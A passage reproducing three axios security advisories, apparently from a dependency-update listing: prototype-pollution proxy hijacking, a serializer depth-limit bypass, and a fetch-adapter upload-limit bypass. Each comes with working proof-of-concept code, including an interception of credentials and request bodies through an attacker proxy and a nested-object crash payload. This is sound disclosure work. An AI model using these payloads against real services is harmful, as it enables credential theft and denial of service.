[OSV](https://osv.dev/vulnerability/GHSA-f4gw-2p7v-4548) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning [CVE-2026-67320](https://nvd.nist.gov/vuln/detail/CVE-2026-67320) / [GHSA-gcfj-64vw-6mp9](https://github.com/advisories/GHSA-gcfj-64vw-6mp9) <details> <summary>More information</summary> #### Details ##### Summary Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch. Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain. ##### Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy. The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request. This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation. ##### Affected Functionality Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage. The relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as: ```js api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); ``` Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone. ##### Technical Details `lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior. `lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch. `lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config. `lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`. ##### Proof of Concept of Attack ```js import axios from './index.js'; import http from 'node:http'; for (const key of [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]) { delete process.env[key]; } const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { targetHits.push(req.url); res.end('target'); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, authorization: req.headers.authorization, host: req.headers.host, body }); res.setHeader('content-type', 'application/json'); res.end('{"server":"proxy"}'); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const res = await api.post( url, {secret: 'request-body-secret'}, {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}} ); console.log({ response: res.data, targetHits, proxyHits, finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy') }); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Expected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body. ##### Workarounds Set an own `proxy: false` on affected requests or on an axios instance when proxy support is not required. Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix. Use the Node fetch adapter for affected requests where its behavior is compatible with the application. <details> <summary>Original Report</summary> ##### Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: - Authenticated request redirection to attacker-controlled proxy. - Disclosure of explicit Authorization headers. - Disclosure of axios-generated Basic auth headers from config.auth. - Disclosure of request metadata: method, absolute URL, Host header. - Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: - Node.js HTTP adapter usage. - A polluted Object.prototype.proxy. - A request interceptor that returns a plain object copy of the config. - No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: - axios@1.15.2 - axios@1.16.0 axios@1.16.0 was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: ```js import axios from './index.js'; import http from 'node:http'; const proxyEnvKeys = [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]; for (const key of proxyEnvKeys) delete process.env[key]; const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { targetHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'target'})); }); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, host: req.headers.host || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'proxy'})); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const explicit = await api.get(url, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); proxyHits.length = 0; targetHits.length = 0; const basic = await api.get(url, { auth: {username: 'svc-account', password: 'prod-secret'} }); proxyHits.length = 0; targetHits.length = 0; const post = await api.post(url, {secret: 'request-body-secret'}, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); console.log(JSON.stringify({ explicitResponse: explicit.data, basicResponse: basic.data, postResponse: post.data, targetHits, proxyHits, finalConfigPrototype: Object.getPrototypeOf(post.config) === Object.prototype ? 'Object.prototype' : 'other', finalConfigHasOwnProxy: Object.prototype.hasOwnProperty.call(post.config, 'proxy') }, null, 2)); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Run: ```bash npm ci node poc.mjs ``` ## Observed results Representative observed output from local loopback testing: ```text { "explicitResponse": {"server": "proxy"}, "basicResponse": {"server": "proxy"}, "postResponse": {"server": "proxy"}, "targetHits": [], "proxyHits": [ { "url": "http://127.0.0.1:40613/api/secret", "method": "POST", "authorization": "Bearer EXPLICIT_SECRET", "host": "127.0.0.1:40613", "body": "{\"secret\":\"request-body-secret\"}" } ], "finalConfigPrototype": "Object.prototype", "finalConfigHasOwnProxy": false } Additional validation showed axios-generated Basic auth is also disclosed to the proxy: { "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=" } ``` That value decodes to: svc-account:prod-secret Negative controls were also tested: - No interceptor: target receives request, proxy receives none. - Interceptor mutating and returning the same config object: proxy receives none. - Own proxy: false: proxy receives none. - Null-prototype clone interceptor: proxy receives none. - Fetch adapter in Node with the same interceptor: proxy receives none. ## Suggested remediation Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths. A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain. ## Minimal regression test Add an end-to-end Node HTTP adapter test that: 1. Starts a target server and attacker proxy on 127.0.0.1. 2. Sets Object.prototype.proxy to the attacker proxy. 3. Adds a request interceptor returning {...config, headers: {...config.headers}}. 4. Sends a request with an Authorization header. 5. Asserts the target server receives the request. 6. Asserts the attacker proxy receives no request. 7. Asserts the final config no longer exposes inherited proxy. A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy. ## References / permalinks - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199 - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144 - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135 </details> #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9](https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67320](https://nvd.nist.gov/vuln/detail/CVE-2026-67320) - [https://nvd.nist.gov/vuln/detail/CVE-2026-69124](https://nvd.nist.gov/vuln/detail/CVE-2026-69124) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter](https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-gcfj-64vw-6mp9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios form serializer maxDepth bypass via {} metatoken [CVE-2026-67321](https://nvd.nist.gov/vuln/detail/CVE-2026-67321) / [GHSA-hcpx-6fm6-wx23](https://github.com/advisories/GHSA-hcpx-6fm6-wx23) <details> <summary>More information</summary> #### Details ##### Summary Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure. An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path. ##### Impact The impact is availability only. No confidentiality or integrity impact was confirmed. Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception. The attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified. ##### Affected Functionality Affected paths include: - `lib/helpers/toFormData.js` when a top-level key ends with `{}`. - `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`. - `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization. - Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`. Unaffected paths include: - Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`. - Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`. - Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended. ##### Technical Details In `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal: ```js if (value && !path && typeof value === 'object') { if (utils.endsWith(key, '{}')) { key = metaTokens ? key : key.slice(0, -2); value = JSON.stringify(value); } } ``` The depth guard is in `build()`: ```js if (depth > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } ``` For `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`. ##### Proof of Concept of Attack Safe local PoC with no network I/O: ```js import toFormData from './lib/helpers/toFormData.js'; function buildDeep(depth) { const head = {}; let cur = head; for (let i = 0; i < depth; i += 1) { cur.x = {}; cur = cur.x; } return head; } try { toFormData({ 'evil{}': buildDeep(10000) }); } catch (err) { console.log(err.name, err.code || '', err.message); } // Expected affected result: // RangeError Maximum call stack size exceeded ``` Expected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. ##### Workarounds Reject or depth-limit untrusted objects before passing them to axios serialization. Strip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization. For query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit. For form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth. <details> <summary>Original Report</summary> ##### Summary The `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched. ##### Details Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes: - `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData` - `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData` - `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData` Vulnerable code, `lib/helpers/toFormData.js`: ```javascript // 156 function defaultVisitor(value, key, path) { // 165 if (value && !path && typeof value === 'object') { // 166 if (utils.endsWith(key, '{}')) { // 167 // eslint-disable-next-line no-param-reassign // 168 key = metaTokens ? key : key.slice(0, -2); // 169 // eslint-disable-next-line no-param-reassign // 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked // 171 } else if (... ``` `build()` later does enforce `maxDepth`: ```javascript // 211 function build(value, path, depth = 0) { // 212 if (utils.isUndefined(value)) return; // 213 // 214 if (depth > maxDepth) { // 215 throw new AxiosError( // 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, // 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED // 218 ); ``` The `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously. The behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected. The attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{"x":{"x":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged: ```javascript app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body attacker-controlled res.send('ok'); }); // attacker POST /forward with content-type: application/x-www-form-urlencoded // body: {"evil{}": <8000-deep object>} // -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes ``` The error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down. The fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads: ```diff if (utils.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); + // Reject objects that would exceed maxDepth before handing to JSON.stringify, + // which is recursive in V8 and stack-overflows on deeply nested input. + (function checkDepth(v, d) { + if (d > maxDepth) { + throw new AxiosError( + 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth, + AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED + ); + } + if (v && typeof v === 'object') { + for (const k in v) checkDepth(v[k], d + 1); + } + })(value, 0); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } ``` (The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.) ##### PoC Reproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script: ```javascript import axios from './source/index.js'; function buildDeep(depth) { let head = {}; let cur = head; for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; } return head; } const malicious = buildDeep(5000); const safeAdapter = () => Promise.resolve({ data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {} }); // 1. POST x-www-form-urlencoded try { await axios.post('http://example.test/x', { 'evil{}': malicious }, { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter }); } catch (e) { console.log('POST form-encoded:', e.name, '-', e.message); } // 2. GET with params try { await axios.get('http://example.test/x', { params: { 'evil{}': malicious }, adapter: safeAdapter }); } catch (e) { console.log('GET params:', e.name, '-', e.message); } ``` 3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24: ``` $ node poc_jsonstringify_dos.mjs POST form-encoded: RangeError - Maximum call stack size exceeded GET params: RangeError - Maximum call stack size exceeded ``` `safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch. Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB. ##### Impact A remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path. </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23](https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67321](https://nvd.nist.gov/vuln/detail/CVE-2026-67321) - [https://nvd.nist.gov/vuln/detail/CVE-2026-69125](https://nvd.nist.gov/vuln/detail/CVE-2026-69125) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass](https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hcpx-6fm6-wx23) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength` [CVE-2026-67317](https://nvd.nist.gov/vuln/detail/CVE-2026-67317) / [GHSA-jqh4-m9w3-8hp9](https://github.com/advisories/GHSA-jqh4-m9w3-8hp9) <details> <summary>More information</summary> #### Details ##### Summary axios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: "fetch"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit. This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected. ##### Impact An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth. This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard. ##### Affected Functionality Affected: - `adapter: "fetch"` or environments where axios selects the fetch adapter. - Request methods with bodies, such as `POST`, `PUT`, and `PATCH`. - `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`. - Configurations that set `maxBodyLength` to a finite value. Not affected: - Axios versions before the fetch adapter was introduced. - The Node HTTP adapter stream enforcement path. - Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`. ##### Technical Details In `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present. The `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`. When `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap. The expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`. ##### Proof of Concept of Attack Run from the axios repo root on Node 18+ against an affected version: ```js import http from 'node:http'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address(); function makeReadableStream(totalBytes) { const chunk = new Uint8Array(64 * 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { const response = await axios.post( `http://127.0.0.1:${port}/upload`, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, } ); console.log(response.data); } finally { server.close(); } ``` Expected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`. ##### Workarounds Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available. <details> <summary>Original Report</summary> ##### Summary axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium. ##### Details In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch: fetch.js Lines 121-155 ``` const getBodyLength = async (body) => { if (body == null) { return 0; } if (utils.isBlob(body)) { return body.size; } if 